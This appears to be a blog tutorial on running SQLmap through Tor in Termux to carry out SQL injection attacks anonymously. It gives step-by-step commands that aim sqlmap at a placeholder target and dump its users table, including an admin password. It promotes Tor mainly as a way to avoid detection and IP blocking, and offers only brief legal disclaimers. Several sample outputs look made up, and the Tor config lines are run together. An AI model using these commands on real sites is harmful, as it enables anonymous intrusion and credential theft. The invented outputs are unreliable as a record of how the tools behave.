SQLmap with Tor is a powerful combination that allows penetration testers to conduct SQL injection attacks anonymously. In today’s cybersecurity landscape, maintaining privacy is critical to avoid detection and protect identity. SQLmap, a popular tool for automating SQL injection, becomes even more effective when combined with Tor, as it routes traffic through the Tor network, making it harder to trace activities back to the tester.

This guide shows you how to install and configure SQLmap with Tor in Termux, with practical examples to help you anonymize your penetration tests. Remember, using these tools responsibly in authorized environments is essential to remain compliant with the law.

Table of Contents

Prerequisites

To follow along, you need the following:

• Termux installed on your Android device
• SQLmap with Tor packages installed
• A basic understanding of SQL injection attacks
• Access to a test environment (refer to SQLmap’s official documentation for setup guidance)
• Familiarity with network scans using Nmap (read more)

Step 1: Install SQLmap and Tor in Termux

Update Termux packages:

pkg update && pkg upgrade -y 

Output:

Checking for available updates... Packages upgraded: 15

This command ensures that Termux is up-to-date to prevent compatibility issues when setting up SQLmap with Tor.

Install SQLmap:

pkg install sqlmap -y 

Output:

SQLmap installed successfully. Version: 1.6. 

The -y flag automatically confirms prompts during installation.

Install Tor:

pkg install tor -y 

Output:

Tor installed successfully.

Step 2: Configure the Tor Proxy

Edit the Tor configuration file:

nano /data/data/com.termux/files/usr/etc/tor/torrc 

Add the following lines:

SocksPort 9050 RunAsDaemon 1

SocksPort 9050: Configures Tor to listen on port 9050 for proxy traffic.

RunAsDaemon 1: Runs Tor in the background for uninterrupted service.

Start Tor:

tor & 

Output:

Bootstrapped 100% (done): Done.

Step 3: Test the Tor Network Connection

Confirm your connection to the Tor network using curl:

curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org

Sample Output:

Congratulations. 
This browser is configured to use Tor.  
Your IP address appears to be: 185.220.101.1  

If Tor is not working properly, restart it:

pkill tor && tor &

Step 4: Using SQLmap with Tor

Now let’s conduct anonymous SQL injection attacks with SQLmap with Tor. Run the following command:

sqlmap -u "http://targetsite.com/page?id=1" --tor --tor-type=SOCKS5 --tor-port=9050

Sample Output:

[21:04:59] [INFO] Testing connection to the target URL  
[21:04:59] [INFO] Target is vulnerable. SQL injection point: id=1  
[21:05:01] [INFO] Dumping database contents...  
Database: testdb  
Table: users  
id  | username | password  
1   | admin    | admin123  

• -u: Specifies the target URL to test.
• --tor: Routes SQLmap traffic through the Tor network.
• --tor-type=SOCKS5: Configures the proxy type.
• --tor-port=9050: Specifies the Tor proxy port.

Step 5: Perform a Basic SQL Injection Test

To further test SQLmap with Tor, try the following on a demo website:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --tor --batch

Sample Output:

[21:15:12] [INFO] Testing SQL injection on parameter 'cat'  
[21:15:12] [INFO] The parameter is vulnerable:  
         GET parameter 'cat' is injectable  
[21:15:13] [INFO] Database: acuart  
Table: products  
product_id  | product_name | price  
1           | T-shirt      | 9.99  

The --batch flag ensures SQLmap answers all prompts automatically, which is useful when running tests without user input.

Troubleshooting SQLmap with Tor

Connection Errors:
Restart Tor with:

pkill tor && tor &

Tor Startup Issues:
Ensure no other service is using port 9050. Review your torrc configuration for syntax errors.

Why Use SQLmap with Tor?

1. Avoid IP Blacklisting: Tor enables dynamic IP rotation, preventing target sites from blocking your real IP.
2. Anonymity: Traffic routed through the Tor network ensures your identity remains concealed.
3. Secure Pen Tests: Ethical hackers can protect their identity when conducting pentests (learn more about Nmap for scanning).

Ethical Considerations

Using SQLmap with Tor can be very powerful, but you must act responsibly. Always conduct SQL injection attacks in legal, authorized environments. Unauthorized testing is both unethical and illegal. For more guidance, check the official SQLmap documentation.

Conclusion

By integrating SQLmap with Tor, you gain the ability to perform SQL injection attacks while maintaining anonymity. This article has shown how to install, configure, and use these tools in Termux, explaining the commands and parameters used. Ensure you apply these skills responsibly, using SQLmap with Tor only for authorized pen tests.